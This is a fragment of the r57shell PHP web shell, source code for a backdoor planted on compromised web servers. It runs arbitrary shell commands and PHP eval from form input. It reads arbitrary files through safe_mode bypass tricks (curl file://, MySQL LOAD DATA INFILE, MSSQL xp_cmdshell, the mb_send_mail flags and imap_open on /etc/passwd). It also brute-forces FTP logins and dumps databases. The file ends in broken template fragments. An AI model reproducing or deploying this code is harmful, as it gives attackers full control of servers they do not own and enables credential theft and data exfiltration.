r57shell

";
if($safe_mode)
{
 switch($_POST['cmd'])
 {
 case 'safe_dir':
  $d=@dir($dir);
  if ($d)
   {
   while (false!==($file=$d->read()))
    {
     if ($file=="." || $file=="..") continue;
     @clearstatcache();
     list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
     if($windows){
     echo date("d.m.Y H:i",$mtime);
     if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
     }
     else{
     $owner = @posix_getpwuid($uid);
     $grgid = @posix_getgrgid($gid);
     echo $inode." ";
     echo perms(@fileperms($file));
     printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
     echo date("d.m.Y H:i ",$mtime);
     }
     echo "$file\n";
    }
   $d->close();
   }
  else echo $lang[$language._text29];
 break;
 case 'safe_file':
  if(@is_file($_POST['file']))
   {
   $file = @file($_POST['file']);
   if($file)
    {
    $c = @sizeof($file);
    for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }
    }
   else echo $lang[$language._text29];
   }
  else echo $lang[$language._text31];
  break;
  case 'test1':
  $ci = @curl_init("file://".$_POST['test1_file']."");
  $cf = @curl_exec($ci);
  echo $cf;
  break;
  case 'test2':
  @include($_POST['test2_file']);
  break;
  case 'test3':
  if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  if($db)
   {
   if(@mysql_select_db($_POST['test3_md'],$db))
    {
     $sql = "DROP TABLE IF EXISTS temp_r57_table;";
     @mysql_query($sql);
     $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );";
     @mysql_query($sql);
     $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;";
     @mysql_query($sql);
     $sql = "SELECT * FROM temp_r57_table;";
     $r = @mysql_query($sql);
     while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
     $sql = "DROP TABLE IF EXISTS temp_r57_table;";
     @mysql_query($sql);
    }
    else echo "[-] ERROR! Can't select database";
   @mysql_close($db);
   }
  else echo "[-] ERROR! Can't connect to mysql server";
  break;
  case 'test4':
  if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  if($db)
   {
   if(@mssql_select_db($_POST['test4_md'],$db))
    {
     @mssql_query("drop table r57_temp_table",$db);
     @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
     @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
     $res = mssql_query("select * from r57_temp_table",$db);
     while(($row=@mssql_fetch_row($res)))
      {
      echo $row[0]."\r\n";
      }
    @mssql_query("drop table r57_temp_table",$db);
    }
    else echo "[-] ERROR! Can't select database";
   @mssql_close($db);
   }
  else echo "[-] ERROR! Can't connect to MSSQL server";
  break;
  case 'test5':
  if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
  $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
  @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  $lines = file ('/tmp/mb_send_mail');
  foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
  break;
  case 'test6':
  $stream = @imap_open('/etc/passwd', "", "");
  $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
  @imap_close($stream);
  break;
  case 'test7':
  $stream = @imap_open($_POST['test7_file'], "", "");
  $str = @imap_body($stream, 1);
  echo $str;
  @imap_close($stream);
  break;
 }
}
else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
 $cmd_rep = ex($_POST['cmd']);
 if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
 else { echo @htmlspecialchars($cmd_rep)."\n"; }}
if ($_POST['cmd']=="ftp_brute")
 {
 $suc = 0;
 foreach($users as $user)
  {
  $connection = @ftp_connect($ftp_server,$ftp_port,10);
  if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  @ftp_close($connection);
  }
 echo "\r\n-------------------------------------\r\n";
 $count = count($users);
 if(isset($_POST['reverse'])) { $count *= 2; }
 echo $lang[$language.'_text97'].$count."\r\n";
 echo $lang[$language.'_text98'].$suc."\r\n";
 }
if ($_POST['cmd']=="php_eval"){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 @eval($eval);}
if ($_POST['cmd']=="mysql_dump")
 {
  if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  $sql = new my_sql();
  $sql->db   = $_POST['db'];
  $sql->host = $_POST['db_server'];
  $sql->port = $_POST['db_port'];
  $sql->user = $_POST['mysql_l'];
  $sql->pass = $_POST['mysql_p'];
  $sql->base = $_POST['mysql_db'];
  if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  else {
   if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
   else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
   else { echo "[-] ERROR! Can't write in dump file"; }
   }
 }
echo "

Directive	Local Value	Master Value
'.ws(3).''.$key.'	'.U_value($value['local_value']).'	'.U_value($value['global_value']).'

'.ws(3).''.trim($info[0]).'	'.trim($info[1]).'
'.ws(3).' ---

".ws(3); $r .= ($windows)? str_replace("/","\\",$file) : $file; $r .= ""; $r .= "
".$a."	".ws(2).$b."